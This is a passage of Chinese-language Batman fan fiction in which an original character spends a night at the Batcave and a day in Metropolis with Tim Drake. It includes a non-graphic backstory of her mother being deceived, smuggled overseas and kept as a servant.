“是的, 有什么问题我会告诉你的。” “也包括你, 罗宾，你要不要回忆一下你也是一个未成年。” 夜翼的声音明明没有变化，但索菲亚还是听出来一丝丝的不悦。 索菲亚几乎能想象出对方脸上出现的类似于, 通宵加班到凌晨四点的伊芙琳回家看到索菲亚的房间还亮着灯, 推门后发现自己本该睡觉的小妹妹, 对着电视里举起屠刀的变态杀人魔激动的满地打滚后，一样难看的脸色。 “可是——”索菲亚在罗宾胳膊上捏了一下摇了摇头, 随后少年便立马改了口风“好的夜翼。” 得到弟弟保证自己会好好休息的肯定回复后, 夜翼重新恢复了活泼的好说话的语气, 回蝙蝠洞的路上男人还特地带着罗宾和索菲亚进了24小时营业的快餐店, 端了五个全家桶才满意离开。 油炸食品的香味在空气中的存在感极强，即使不那么饿的索菲亚也忍不住从纸袋里摸出一个汉堡拆开包装纸后塞进了嘴里, 牛肉饼煎的有些老但是在生菜和番茄以及酱料的搭配下倒显得这个汉堡没那么糟糕。 两三口吃完手里的汉堡, 索菲亚的手又一次摸进了纸袋。 “我能再吃一个吗？好香。” “当然可以了索菲, 你还能把炸鸡翅和可乐也一起吃掉。”男人的语气格外放松，还能顺便给索菲亚手里塞上更多的食物。 那股慈爱的，如同牧民看待自家养出来的白白胖胖的动物一样的眼神，让索菲亚格外安心。 罗宾倒是对食物没什么反应，索菲亚很早就发现了，在其他男孩化身饕餮一顿饭恨不得把桌子都吃下去的青春期，无论是在学校面对难吃的食堂，还是德雷克家的保姆精心制作的详细计算了热量和营养的午餐，抑或是偶尔两人出去约饭的时候，提姆总是保持一种冷静的状况。 无论这顿饭难吃或是好吃，少年的评价如何，提姆的饭量都不会有太大的波动。在索菲亚算开胃的食量面前，提姆吃的那点显得尤为可怜。 起初索菲亚还以为义警都有控制饮食的习惯。 但是和夜翼以及蝙蝠侠一起吃饭时，索菲亚能明显的观察到，这两位的食量都符合自身的体型以及每日夸张到吓人的运动量，甚至面对不喜欢的牛奶以及紫甘蓝时就算是哥谭恐怖的化身也会出现表面一副看似漫不经心实则把不喜欢的蔬菜悄悄毁尸灭迹的行为，虽然大多数时候都以被管家发现后不得不硬着头皮吃下去为结尾。 但是也能看出来即使非常擅长克制自己的蝙蝠侠也不会在日常生活中刻意去控制自己的食欲。 就好像，提姆本身对食物完全不感兴趣一般。 索菲亚抱着好奇没有回家，而是跟着夜翼和罗宾一起回了蝙蝠洞。 蝙蝠洞内斯蒂芬妮正在喝阿福刚泡好的热可可，她的身旁就是一位红发的坐着轮椅的女性。 看样子这位就应该是神谕了。 神谕看起来和摘了面具的迪克差不多大，或许是斯蒂芬妮时常提起神谕对她的照顾，让索菲亚也忍不住给神谕身上增加了一层较为柔和的圣光特效。 看样子神谕的工作已经结束，她和斯蒂芬妮一样正端着马克杯在小口品味其中醇厚香甜的热可可。 “我猜有人需要一些夜宵。”夜翼刚把纸袋放在了空置的桌子上，斯蒂芬妮连放下手上的马克杯都来不及就一头扎了进来。 “让我吃让我吃，我要饿扁了。” 斯蒂芬妮拿了吃的就自觉蹭到了摘了面具的索菲亚身边，拿肩膀去撞超级无敌好朋友的肩膀，看到索菲亚无语的眼神后才终于心满意足，连手上夹着干巴肉饼的汉堡的好吃了两倍不止。 “我听到林肯说你以前的事吓死我了，生怕他说你以前是个冷酷无情的大杀手，专吃小孩那种。” “你害怕吗？” “怎么不怕，你想啊蝙蝠侠就在你身边他一下子就能把你打一顿塞进阿卡姆，我得多厉害才能无伤从蝙蝠洞出去之后打败蝙蝠侠夜翼罗宾把你救出来，就算是义警转职反派测试，这也太超标了。” 斯蒂芬妮的蓝眼睛格外明亮，但还是压低了声音小声和索菲亚说话。 “那你以后是不是不用带猫头鹰的面具了？我之前觉得还蛮帅的，但自己做了义警才知道面具有多难受，你还是全覆面的样式，感觉都勒出印子了。”金发女孩伸出手指，在索菲亚脖子上被头套和面具双重束缚后留下的红印上摩挲“好在以后你都不用做猫头鹰了。” “但可以留着面具，要是以后有些事不方便猎魔人做，我就cos成利爪做。”索菲亚摇了摇脑袋说罢侧着头往斯蒂芬妮手上的汉堡上咬了一口“菠萝牛肉堡也好好吃。” “那你要不要把我这个吃完，我没那么饿。” 索菲亚摇了摇脑袋“我就想吃一口，但凡再多一口我都吃不下了。” 此时蝙蝠洞内，神谕在和夜翼聊天，两人手里也都拿着吃的，阿福端来了更多的热可可，只是在分发到自觉在蝙蝠电脑前加班的罗宾面前时拒绝了早早就有班味的少年想要咖啡的请求，同样塞过去一杯能够补充糖分的热可可。 随后终于赶回来的蝙蝠侠打开蝙蝠车的车门，路过桌子时都不忘记拿个汉堡垫垫肚子，在阿福不赞同的眼神下一边和罗宾交流情况一边给自己加餐。 只有罗宾，那个和同伴对比起来显得有些纤细的少年，自始至终都没有把眼神放在那堆散发出诱人香味的食物上，就好像这些东西根本不存在一般。 “你好索菲亚，我是神谕，或者你可以直接叫我芭芭拉。” 来自女性的声音打断了索菲亚正在走神的状态，稍一转头就看到了转动着轮椅向两人方向过来的芭芭拉。 “我总是听大家提起你，只是一直没机会见面。” “那他们是怎么说我的？”索菲亚完全蹲了下来，仰头看着芭芭拉“总不能说我是饭桶吧。” “怎么会。”芭芭拉笑了出来，将手臂放在轮椅扶手处撑着脸看着索菲亚黑色的毛茸茸的头顶“神秘的小猎魔人，总是在下水道四处找怪物的影子，会魔法，上次那道闪电让布鲁斯以为自己没发现沙赞来了哥谭，但是是个好姑娘。真要说的话可能需要控制一下脾气？” 想起被自己打的满地乱爬的那个记不起名字的同学，索菲亚心虚的移开了眼神看向蝙蝠侠和夜翼的方向。 “我现在负责蝙蝠洞的后勤，如果需要信息支持直接联系我就好。” 索菲亚刚想学蝙蝠侠一样帅气的拒绝表示我自己工作，但想起来每次打开论坛痛苦的在一大片不是对着蝙蝠侠发癫就是在辱骂哥谭公共设施的帖子中，想要找到比抽卡游戏爆率还低的怪物信息简直比林肯连夜杀干净阿卡姆后跑路去大都会单挑超人一样还难，立马改变了主意，重重的点头生怕被误解为不需要。 不需要过多思考，索菲亚决定拿出多年当宠物的经验，牵起芭芭拉带着薄茧的手，放在自己的脑袋上蹭了蹭。 “谢谢你芭芭拉，没有你的帮助我不知道该怎么办，你也是好姑娘。嗯，斯蒂芬妮也是。” 随后便是来自斯蒂芬妮的报复，金发少女扑了上来恶狠狠的揉了揉同伴的脑袋。 “你都不感谢我，好过分。” “那也谢谢你斯蒂芬妮。” “你明明是后面才想起来我的，明天点外卖我要吃掉你那份。” 看着打闹在一起的两个女孩，芭芭拉跟着笑作一团，终于想起来拉开了两人。 就在这时，脱下蝙蝠侠皮肤的布鲁斯终于顶不住阿福格外有攻击性的眼神，回忆起自己还没有完全进化掉睡眠这一事实，以及就算是隔壁不需要睡觉只用晒晒太阳就能恢复的阳光开朗氪星人，也不会让自己长期处于对普通人来讲随时会猝死的过劳状态，只能扁扁的带着一窝五颜六色的叽叽喳喳的小鸟从蝙蝠洞离开，乖乖回到庄园中各自的房间迎来迟到已久的睡眠。 第60章 凌晨四点, 索菲亚和斯蒂芬妮顺着窗户钻回了家，马上要自动关机的两人完全没有收拾自己的力气，勉强还记得脱了制服, 拼尽全力爬上床原地昏迷。 等待清晨格外耀眼的阳光把索菲亚从睡了不到四个小时的梦境里唤醒时，痛的马上要爆炸的脑袋和几乎睁不开的眼皮完全将索菲亚束缚在柔软的床上，温度几乎达到18度的空调冷风被被子挡了下来, 少女翻了个身把身上那层薄被压在身下, 这才摸起手机看了看时间。 嗯，八点，很好。 时间还早，距离和提姆约好的去大都会连吃三轮的七点钟, 只差了—— 不对！ 索菲亚猛地睁开眼睛, 反复开了三次手机屏幕却还是没办法改变已经八点的事实。 一把掀开被子连拖鞋都来不及换, 一路小跑冲进洗手间，路上顺便把自己爆了一地的制服挨个卷了起来扔进洗衣篮，还顺手帮同样还没起床的斯蒂芬妮收好的制服。 昨晚换洗下来的内衣内裤还没来得及手洗, 只能咬着牙塞进洗衣篮里面, 去客厅摸索出那本两人共用的便利贴, 撕下一张贴在洗衣机上。 “帮我把制服烘干一下，内衣不用管我回来洗, 爱你~” 熟练的画了个爱心后, 索菲亚把除了内衣外的制服都塞进了洗衣机转动到固定的时间, 随后一边刷牙一边给现在还没消息的提姆发信息。 “对不起对不起, 我睡过了，你出发了吗？” 一时没收到回信的索菲亚漱口后吐掉了嘴里的泡沫, 拧开水龙头开始洗脸, 用毛巾擦干脸上的水珠后, 终于等到了提姆的回复。 “我也睡过了，你别急，慢慢来。” 按照计划，两人应该七点就出发一起坐班车去大都会，来回两个小时的路程注定了两人想多玩一会必须早起，但是在确认那只小罗宾鸟也睡过了后，索菲亚紧绷的情绪一下松弛了下来。 “阿福没有叫你吗？” 索菲亚对着镜子用梳子一点一点将炸毛的头发梳顺，熟练的将垂落到肩膀的碎发扎了起来，伸手从镜子前的小盒子里一层彩色皮筋里随便摸出一个固定好脑后的低马尾后熟练的甩了甩。 “我回家了。” “家里平时就只有钟点工在打扫卫生和做饭。” “昨天我回家拿了点东西太晚了就没回庄园。” 索菲亚看着提姆的头像跳动后闪出的两条信息立马理解了现状，随后才继续编辑手上的消息。 “那我们还坐班车吗？是不是来不及回来。” “等一下。” “我在去庄园的路上，我骑车来接你。” 关掉手机屏幕的索菲亚站在原地思考了十分钟不到十六岁的提姆到底有没有摩托车驾照，但是罗宾会开蝙蝠车欸骑车应该不会有什么问题吧。 “你家里没有摩托吗？” “我妈能接受我十六岁就开车上路并且送我一台符合身份的车，但是受不了我骑一辆时速超过180公里的摩托车在路上炫技把脑浆摔出来。” 看着信息，索菲亚实在忍不住脸上的笑意。 一想到在整个哥谭最喜欢追求危险和刺激的排行榜上名列前茅的罗宾，在妈妈眼里还是不可以骑改装摩托学坏的小孩，索菲亚脑子里满满都是染了个黄毛的提姆骑着摩托在自己家门口对妈妈说，妈妈我要去喝酒泡吧谈八个企鹅人打架，晚上不要等我吃饭了的离谱画面。 “鸟宝宝，记得吃完早饭再来。” 时间宽裕了很多，索菲亚干脆把内衣从洗衣篮里掏出来顺手洗掉挂了起来。 如果是其他人或许还能悠哉的做个早饭，但对于索菲亚这种懒人来讲不管是备菜还是后面的清理环节都显得过分繁琐，而且这么一番折腾大概率只能得到一份勉强能吃的食物，干脆带好东西下楼找了家咖啡馆点了杯牛奶和三明治等提姆过来。 面对即使比脸还大的三明治，对索菲亚来讲不够多吃几口的事，就在少女用牛奶把三明治往下顺的时候，黑色的机车停靠在了街边，随后机车上长手长腿的人摘下了红色的头盔露出了提姆那张清秀俊朗的脸。 少年一眼看到了坐在窗边的索菲亚，半弯着腰对着敲了敲，索菲亚立马放下玻璃杯从座椅上跳了起来，推开门奔向提姆。 提姆穿了件白T搭配深红色的棒球外套把过了不到半个暑假的中学生一下衬托成了半只脚即将迈入成年人大门的青春男高，至少比那个在学校乖乖穿衬衫搭西装外套的提米显得成熟了许多。 “你好快啊，我刚吃完你就到了，你吃饭了吗？” “阿福特地看着我吃光了盘子里的煎蛋培根还喝了一大杯奶才放我出门。” 提姆骑得这辆机车就很有布鲁斯的风格，花哨酷炫以及看起来就贵的要命，机车外壳被保养的锃光瓦亮连只苍蝇落上去都会劈了腿，车身看不到车标那就代表大概率是韦恩集团给董事长定制的独一无二的车型，比起迪克平时用来通勤那辆格外朴实的摩托，更是显出十足的张扬。 好同桌平日里在学校总是一副乖宝宝的样子，突然骑着辆过分嚣张的机车倒格外少见，索菲亚打量了半天做出了评价。 “你下次可以试试戴墨镜穿皮衣，最好脖子上挂条大金链子，立马就可以闯进rap圈。” “下次卧底帮派我会考虑这条建议的。”提姆倚靠在机车上从后座拿出个黄色的头盔递给索菲亚。 “坐好，要出发了。” “好耶，出发。”索菲亚调整好位置，双手自然的环住了提姆的腰，不出意料的感受到少年略微紧绷的腰腹。 “你怕痒吗？要不然我不扶了。” 重新戴上头盔的提姆没有否定但也没肯定，右手拧动油门两人就伴随着非常酷炫的“轰隆”的音效飞了出去。 这种出行完全不用动脑子的行为让索菲亚非常受用，还能把脸埋在提姆身后的外套上躲避迎面可能回来的灰尘。 好在天气不错，既不会走两步就被天上的太阳晒得原地融化还得摇人把自己从地上铲起来，也不至于天降暴雨让两人骑车去大都会的行为从出游变成绝地求生，微风在匀速行驶的机车面前格外凉爽，让索菲亚恨不得摘了头盔直接感受这份凉爽。 只可惜白天的提姆是非常遵纪守法的小孩，在道路上行驶谨记交通规则，显得无比中规中矩，完全没有跟着蝙蝠侠晚上在时速二百＋蝙蝠车上驰骋时把交通规则踩在脚下的嚣张。如果是在晚上坐在速度拉满的蝙蝠车后座，即使下一秒会撞在杀手鳄身上索菲亚也愿意为这份刺激买单。 罗宾的身上总是没有多余的味道，除去不可避免沾染上的罪犯身上的烟酒味道，一些血腥味，很难在少年义警的身上闻到很有个人特色的气味，当然蝙蝠侠夜翼神谕都有这样的习惯，索菲亚猜测是为了降低因为过于具有特色的气味暴露身份的嫌疑。 但如果是提姆身上的不知道来源于洗发水沐浴露还是洗衣液上的海盐气味就显得格外清爽，隔着头盔索菲亚也能闻到那股淡淡的气味，让还没睡够的少女的心情格外好。 长时间坐在一个地方总是无聊的，索菲亚干脆学着tiktok上的短视频开始和提姆犯贱。 “哥哥，你怎么骑着小摩托车带我啊？” “你女朋友知道了不会生气吧。” “她不会揍我吧。” “好可怕你女朋友，不像我只会心疼哥哥~” 最后两个字念的格外肉麻，索菲亚自己还没说完就绷不住笑，险些一个后仰从车上翻下去。虽然看不到提姆的表情，索菲亚几乎能想象出对方无语的表情，之前自己对着斯蒂芬妮犯贱的时候也只是为了看到对方无语的表情然后挨顿骂才会心满意足的离开，只可惜好同桌还带着头盔看不到对方具体的表情略微带了些遗憾。 “索菲亚。”提姆终于出声，索菲亚几乎能看到对方无奈的眼神“我有没有女朋友你不知道吗？” “啊~好可怜哦提米哥哥，没有女孩子喜欢你吗？” “你，不知道吗？” 索菲亚抬起头在后视镜里看到了来自提姆的眼神，那双总是显得很温和的蓝眼睛里除了无奈还带了些平日里极少见的像是看到猎物一样的侵略性，索菲亚对着吐了吐舌头就看到提姆移开了视线。 “快到了，你想先吃什么？我提前订了早茶，想先去吃别的也可以。” “去早茶，感觉会好吃。” 索菲亚伸手在提姆的肩膀上拍了拍，扫去了几片落在少年肩膀上的落花。 “那你有了女朋友还会带我去吃饭吗？” 身前的人没有回答，只是继续沐浴着凉风向目的地驶去，只剩下口出狂言的索菲亚假装无事发生，再次把头埋进了少年的外套里，思考下次约饭如何把斯蒂芬妮拉出来。 全部注意力放在骑车的少年分出视线想透过后视镜看身后少女的表情，却只能看到把身后之人挡的严严实实的自己的身体，身后少女的重量格外有存在感。属于少女的问题的答案再简单不过，几乎到了嘴边却还是卡住了，提姆沉默过后终究还是咽了下去。 “不会有其他女朋友。” “我永远没办法拒绝你。” “你不知道吗，索菲亚？” 60-70 第61章 第一家定好的早茶据说是大都会唐人街里的新店, 虽然长着和华裔极度相似的脸，但是索菲亚对中餐的了解仅限于川菜和火锅，如果真的说能和粤菜扯上关系, 在街边买过作为甜点的菠萝油不知道算不算。 因而当提姆找好了地方停好车，两人一起上了茶楼的二楼对着菜单开始点菜。 第一步当然是茶位费，只要坐在这里即使没有点菜这笔花销就已经存在了, 索菲亚不太理解这种给了小费还要算座位费的形式, 但好在真正付账的人并不在乎甚至能心平气和的给索菲亚烫餐具，那便算不上什么大问题。 提姆是个好学的小男孩，至少他在短暂吃了几次中餐后就无师自通学会了用筷子、烫餐具、退纸巾的操作，还能顺便记得索菲亚的忌口把香菜去掉, 一套操作下来如同行云流水, 一时之间索菲亚只觉得对不起自己这张脸。 “所以你父母是中国人吗？” “我妈妈是越南人, 爸爸的话不知道，我没听他说过普通话。”索菲亚摇头回答道“我对他们印象不深，我很早就离开父母了。” “介意讲讲吗？”少年把脱下的外套搭在实木的椅背上, 露出那件显得格外青春靓丽的t恤“我想多了解你一点。” “也没什么不能讲的。”索菲亚沉思片刻重新把储存在那间公寓里的旧事从记忆深处挖了出来。 —————————————————— 陈香玉还没断奶的时候, 就能够对祖父三天两头讲的那些老掉牙故事熟练的闭眼都能背出来。 那时的祖父不过十五岁, 一身力气却没一点读书的脑子，整日里在私塾两眼一抹黑, 白白浪费了父母置下的几亩良田。大家伙都觉得祖父还是个孩子, 等到成亲之后, 有个老婆管着, 或许就好多了。只是祖父还没来得及在黄土高坡上讨个黄花闺女做老婆，就听到了鬼子攻下县城的事。 事实证明祖父非但没读书的脑子, 还是个怂蛋, 甚至不知道县城有没有被打下来就急匆匆卖了家里的地拖家带口的逃命。过了书本里那些文人都爱夸的江南, 祖父觉得不够，于是接着往南走。 后来又到了云贵一带，山匪太多怕丢了小命，就继续跑。终于到了广州，大家都想着够远了吧，祖父觉得不行，鬼子万一真的打下来了呢？便干脆拿最后的银元买了船票带着一家老小逃到了陈香玉住了十几年的地方——顺化市。 但陈香玉自小是个聪明小孩，胆子也大的厉害，从小天不怕地不怕，她没见过鬼子不知道祖父嘴里穷凶极恶的鬼子怎么拿着刺刀杀人，也没见过说话不客气带着酒气的斯拉夫人，但每当踩着皮靴穿着制服的美国人走过，少女就给自己谋好了出路。 “在顺化有什么意思，不过嫁个穷小子，有本事就得跟着这些大兵去美国，追美国梦才好呢。” 因而少女早早放弃了那些稚嫩的打扮，跟着那些专在歌舞厅穿着漂亮裙子烫了卷发把嘴唇涂得通红的大姐姐们开始做些性感的展示自己魅力的动作来和那些大兵搭讪。 只可惜大兵只是在顺化显得神气，但真要想找到一个愿意把陈香玉一个越南女孩娶回家的黄金单身汉实在难上加难，指望那群穷光蛋不如做梦自己成了大明星一步登天来得实在。 就在这时，那个男人出现了。他是美国来的富商，还是大清的时候就跑去了美国在那扎根，祖上三代经商家产厚的流油，只是到了男人这代就没必要为了那些破铜烂铁奔波，因而选择搞艺术满世界寻找他的艺术缪斯。 只是男人见多了那些胭脂俗粉都只觉得没有意思，而越南当地的那些富商家的小姐则过于高傲反而瞧不上男人，只有陈香玉漂亮温柔而不傲慢，真正走进了男人那颗许久没有跳动的心脏。 见到了一步登天的机会，陈香玉几乎被冲昏了头脑，但还是没有完全放下戒心，只对男人说。 “那我要你带我去美国，再多的珠宝首饰我都不要，我只要跟在你身边。” “当然了亲爱的，我怎么会抛下我的缪斯。”男人那张普通的脸在陈香玉眼里无比俊秀，由金钱浸染出的贵气让少女欲罢不能。 半个月后，陈香玉拿到了前往美国的签证，以及她和男人在当地办理的结婚证明。 “他没有骗人，我要去过好日子了。” 少女完全冲昏了头脑，一向聪明的脑子被恋爱占据了全部，分不出一丝来思考自己的未来，只是记得那个全部由黄金和钻石构成的美国梦，连住在一起的父母也没通知就高高兴兴的拎着装了两套换洗衣服的箱子挽着男人的胳膊上了回美国的游轮。 于是，一切幸福结束了。 游轮上并没有属于少女的座位，而那份盖了章的签证不过是在黑市买来的劣质纪念品，脸上的铅粉被海水冲湿一点一点的褪去露出那张并不完美的带着斑点的黄黑色的皮肤，劣质的口红被门牙不断刮掉又随着频繁吞咽的口水被送进肠胃。 从天亮到天黑，陈香玉终于等来了男人的消息。 “想去美国就跟着送信的人走。” “我不能输。”陈香玉攥紧了箱子，弯着腰钻进了另一艘高大的轮船，没有舒适的座位，没有能看到海景的窗户，没有可口的餐食，位于甲板下的装载货物的货舱就是这群偷渡客的唯一容身之处。 四处弥漫着臭味，来自汗水的酸臭，来自排泄物的恶臭，还有角落里抱着孩子哺乳的女人身上传来的奶臭味，臭得太厉害了陈香玉就开始哭，哭为什么要相信那个男人，为什么不好好在家里呆着等着随便找个男生嫁掉，为什么不听爸妈的话随随便便结了婚又上了贼船。 好不容易熬过了臭味，接下来就是饥饿，那些黑色的掺杂着沙子的面包本就难以下咽，却还偏偏比宝石还珍贵，维持整个货舱里这群自愿抛弃人类身份的货物每日生存的只有那一片薄薄的满是异物的面包。 肠胃被烈火灼烧一样的折磨让陈香玉患上了胃病，长期见不到阳光让原本算不上白皙的少女有了苍白的肤色，但一向爱美的少女完全顾不上欣赏自己，只有在少数有力气的时候痛骂那个把她置于地狱的男人。 不知道过了多久，那份仇恨也淡化了，少女每天跪在地上向上帝祈祷，不管是任何人只要能够给我食物让我离开这个鬼地方，我都愿意付出我的一切去侍奉他。 于是在某天，躺在一堆尸体内的少女被强光几乎刺伤了眼，但是随之而来的是属于男人那张似乎带着圣光的救世主一般的英俊面庞。 陈香玉，哦不，死里逃生的奴隶膝行到了男人面前，流着泪水亲吻男人擦得发光的皮鞋，一边向上帝祷告。 “我愿意把我的一切都献给您，我的容貌，身体，孩子，一切都归属于您，我是您的仆人，我生下的每一个孩子也是您忠诚的仆人，请您不要丢弃我一人忍受饥饿和黑暗。” ———————————————— 索菲亚讲述的故事过于震撼，以至于提姆端起水杯半天都没继续喝上一口的动作。 “然后呢？他们在一起了吗？” “也算吧，那男的有点本事真给妈妈弄到了美国身份，还让妈妈穿着名贵裙子带着贵的要死的珠宝出门装场面，到了家妈妈就只是家里的仆人而不是女主人，但他们都挺高兴的。只不过那个人控制欲很强，他一定要妈妈二十六岁生下的孩子，认为是最好的，在那之前妈妈的四个孩子都没生下来。” 索菲亚对着茶杯里的热茶吸溜了一口还是被热气熏得头疼，干脆招呼服务员要了一罐快十刀的可乐。 “到了二十六岁那年，一向容易怀孕的妈妈却一直没能怀孕，那个人觉得妈妈已经没用了想要把妈妈赶出去，就在那年圣诞节家庭医生体检的时候发现了我，妈妈才没有流落到街头去。” “不用担心，我和他们关系其实不好，妈妈生了我之后总是会担心那个人会把她换掉，毕竟亲生女儿总比没用的仆人更有价值，然后因为嫉妒主人的女儿的罪名被那个人拖着头发打。那个人则认为自己手眼通天去挑衅了我们那里像是一个光明会一样的组织，结果吃了个大教训。” 索菲亚拉开可乐的拉环，把冒着气泡的棕色液体倒进了茶楼提供的玻璃杯里，用那根细长的蓝色吸管打了个结放进了杯子里。 “他最为得意的那匹马，经过几个月货舱运输还能继续生育的母马被人割了脑袋扔在了他的床尾，他睁眼的时候看到了那匹马死不瞑目的惨状，吓得中了风险些没命。醒来后第一件事，就为了赔礼道歉将自己另一件得意的财宝送了过去，以求那些大人物赦免他的罪过。” “好消息是，某位老爷很喜欢他送上的温顺听话的小马，于是宽恕了他。在医院里插着管子几个月的治疗后，男人终于站了起来，挤进了那个曾经他狗眼看人低如今却遥不可攀的组织，成了其中一名再微不足道的会员。” “而这一切，只需要付出两匹温顺的马。” 第62章 说完那些对于索菲亚来讲麻烦程度连苍蝇都算不上的过往, 正好赶上服务生上菜，两人这才有机会从沉默的过分压抑的环境中抽身离开，把注意力全都放在原本吃吃喝喝的计划上。 其实也没点太多菜, 只是按照INS上的攻略点了几道必吃的招牌菜，虾饺叉烧包豉汁排骨自然必不可少，只不过索菲亚不太吃得惯鸡爪就单独绕开了豉汁凤爪。放在平时这点菜量只不过只是开胃菜, 不过考虑到两个人都是吃了早饭才来的, 少点一点尝尝味道就差不多了。 虾饺口感很Q弹，不管是蘸醋吃还是空口吃都不会让人失望，豉汁排骨带着咸香和淡淡的油香，选的还是最好啃的肋排部分, 吃起来不费劲所以也很棒。叉烧包带些甜味, 但是和美国这边喜欢的过分甜腻的滋味不同, 同样恰到好处。 索菲亚单独要了一份图片上印着芒果的杨枝甘露，被盛放在很有中式特色的瓷碗里上了桌，芒果很好吃配合酸味中带着点苦涩的西柚格外有特色, 西米的口感在美国不算多见, 在嘴里需要嚼嚼嚼半天才能get到这种小配料的特色。 唯一美中不足的可能是, 提姆还是老样子，只吃了草草几口就放下了筷子, 观察起周围一同用餐的客人。 “你想吃绵绵冰吗？”索菲亚用牙齿将吸管咬扁, 努力从被压扁的缝隙里把没了气也不够冰的可乐吸上来。 “不用了, 我不是很饿。”提姆这才不紧不慢的收回视线, 看向桌子上几乎没有剩下的空碟“放心，我不会让自己饿到的, 我又不是什么不知道自己吃饭的小朋友。” “可是你平时也吃的很少, 在学校的时候你就不怎么吃饭, 也不喜欢吃零食，到了晚上也是。”索菲亚看向坐在对面的少年“你不要学那些人搞身材焦虑，你已经很瘦了提米，再轻的话和别人打群架都不能像蝙蝠侠一样用体重压制别人。” “不是因为这个。”少年轻笑接着将身体略微前倾盯着索菲亚黑色的眼睛解释道“我有注意摄入量，只不过世界上有你这样喜欢吃饭的女孩子，自然也有食欲没那么旺盛的人。” “你不会饿吗？” “我有好好吃饭，荤素搭配，食物热量以及营养物质摄入都在适合我的情况下，我只是不会特地去追求很好吃的东西罢了。” “那你有喜欢吃的东西吗？” 提姆摸了摸额前的头发移开了视线，思考了半天才给出了答案。 “呃，咖啡？好了好了别这样看我，当然有喜欢吃的东西啦，阿福做饭很好吃的，你总是吃的那家塔克我也觉得不错，只是我觉得没必要一直去吃喜欢的东西，尝试过就够了。” “也不要用可怜的眼神看我，之前阿福不在家，我和B一起吃了三天披萨外卖，实打实的放纵了三天。” “那你有想吃的吗？”索菲亚把喝空的杯子推到一边“我之前说的也不是非吃不可，至少吃到早茶我就很高兴了。” “嗯，你选的东西我都能接受，但如果想去什么地方的话，还真的有。” 少年眨了眨眼。 这也是索菲亚现在站在一家滑板店门口的原因，这是一家坐落在老城区街角的店，格外有年代感的红砖墙里装满了五颜六色的一眼看过去让人眼花缭乱的滑板。真的摘了头盔下车推门进入，就能看到除去那一小块区域以外更加琳琅满目的滑板和配套装备。 “虽然能直接在网上下单买一些有趣的板子，但是还是来线下店才更有氛围不是吗？” 索菲亚像是误入了兔子洞的仙杜瑞拉，虽然都是童话风格但是走错门的迷茫感深深的攻击了一个平时喜欢在学校里做超级大社恐的土狗。 这家店的老板正在和少年在一起闲聊，一会聊到长板，一会又到了双翘板，过了一会话题又进展到其他配件，搭配听得懂但非常陌生的名词让索菲亚默默的坐在了店铺里提供的座位上静静的等提姆挑选想要的新滑板。 索菲亚看了半天价签，发现这些滑板的价格都还算合理，就算当场买一块送给好朋友也不会让索菲亚沦落到吃糠咽菜的地步，至少这样做最大的好处莫过于只要提姆看到这块滑板就会想起自己那个爱吃饭的好朋友。 提姆转过头一眼就看到了蹲在地上cos鹌鹑的索菲亚，伸手把朋友拉了起来。 “你想玩吗？我可以教你。” “看不出来你还喜欢这个。” “因为很好玩啊，在我妈看来也没那么危险，在家里的院子里可以随便玩也不用被保姆说这样不安全。”提姆站定在一块红黑色的板子前继续说道“不过学校的社团没什么意思，大家都在比谁的板子贵，谁的板子是定制的，谁有那些大神的签名，我就知道我们不是一路人。” “我对什么都有兴趣，只是不喜欢加入那些兴趣小组，如果你想学的话，下棋、计算机、滑板、化学、钓鱼我都玩的不错，桌游也不错只是不太好找一起玩的人。” 那很完蛋了，提摩西同学，你说的这些我都觉得不好玩。 索菲亚没敢吭声，只是跟着提姆的话点头，努力让眼神里只透露出真诚，以显示出对于好朋友爱好百分之百的尊重。 “有喜欢的板子吗？那块紫色的怎么样？”提姆坐在索菲亚身边，那股淡淡的海盐味让人格外安心。 索菲亚顺着方向看去，就看到那块主色调为紫色和黑色的滑板。 “好看。” “那就是它了。” 说罢少年就站了起来，转身找店主结账去了，而索菲亚还在看着那块刚刚提姆身后那块红黑色配色的滑板，也下定了主意。 提姆抱着黑紫色滑板回来的时候就看到了怀里抱着另一块红黑色的带着类似蝙蝠图案的滑板的索菲亚。 “你喜欢那块吗？我可以都买下来作为礼物送给你。” 索菲亚摇了摇头，发丝从有些松散的低马尾中散开，自然垂落在少女脸侧。 “我想送你。” 提姆有些诧异，却还是接过了属于索菲亚的礼物。 作为德雷克家的孩子，爸妈知道他喜欢滑板后，送了各种各样的板子作为礼物，就连布鲁斯也把一块被拍出天价的滑板作为礼物送给提姆作为礼物。 索菲亚选的这款并非是少年平日里习惯用的类型，但是红黑的配色实在亮眼，让提姆也没忍住多看了两眼，但要真的说这不是一块完美的板子。 但现在怀抱着这块不完美的滑板的少年，内心却像是刚刚被打开瓶盖的冰镇可乐一样，不断地涌上气泡一样的微妙的如同被微风拂过后那一丝淡淡的雀跃。 “谢谢你索菲亚，在我拥有下块滑板前，这都会是我最喜欢的滑板。” “那下一块我也要送你，这样你最喜欢的滑板就都是我送的礼物了。” 内心的气泡上升的更加频繁，随即在那颗扑通乱跳的心脏中炸开，徒留被这种说不清道不明的情绪攻击的提姆，无法对眼前仿佛在发光的女孩移开视线。 索菲亚抿着嘴笑，从提姆手里接过那块属于自己的滑板。 “你不是要教我吗？快点提米老师，我现在就要学。” 索菲亚学习这种不需要动脑子的东西的速度比起在学校赶作业总是飞快，在学了大概技巧后不到半个小时就能在路边平稳的滑出一段距离，甚至无师自通学会了刹车和转向。 提姆就不远不近的跟在索菲亚身边，眼神停留在少女脚上的动作上，随时提醒索菲亚一些容易出错的地方，不过没多久这位临时教练就开始用些尾刹内转360度的花哨动作来吸引自己进步飞速的学生的注意。 两人沿着汽车进不去的狭窄街道一路滑行，路过门口的桌子上摆放着向日葵的花店，路过就连玻璃门都挡不住小狗嚎叫的宠物店，路过一家散发出淡淡咖啡香味的咖啡馆，路过玻璃窗户里摆放着颜色过于丰富的漫画店。 顺着有些陡峭的坡道，索菲亚没有一丝害怕，控制着脚下的板子一路猛冲下去，感受足够凉爽的风吹在脸上的体感，这种自由的感觉让索菲亚一下子理解了为什么提姆会喜欢这样的运动。 回到平地的索菲亚慢慢停了下来，看着少年追随自己而来的身影，伸长了手臂向少年挥手。 提姆的距离越来越近，却没一点减速的迹象，在即将撞上的那刻起，四目相对下少年朝着索菲亚的方向跳了下来。索菲亚双手抱着少年的腰，减缓了突然而来的动作带来的冲击力，但还是一时不着摔在了地上，看着滑板自己撞上路边的花坛停了下来。 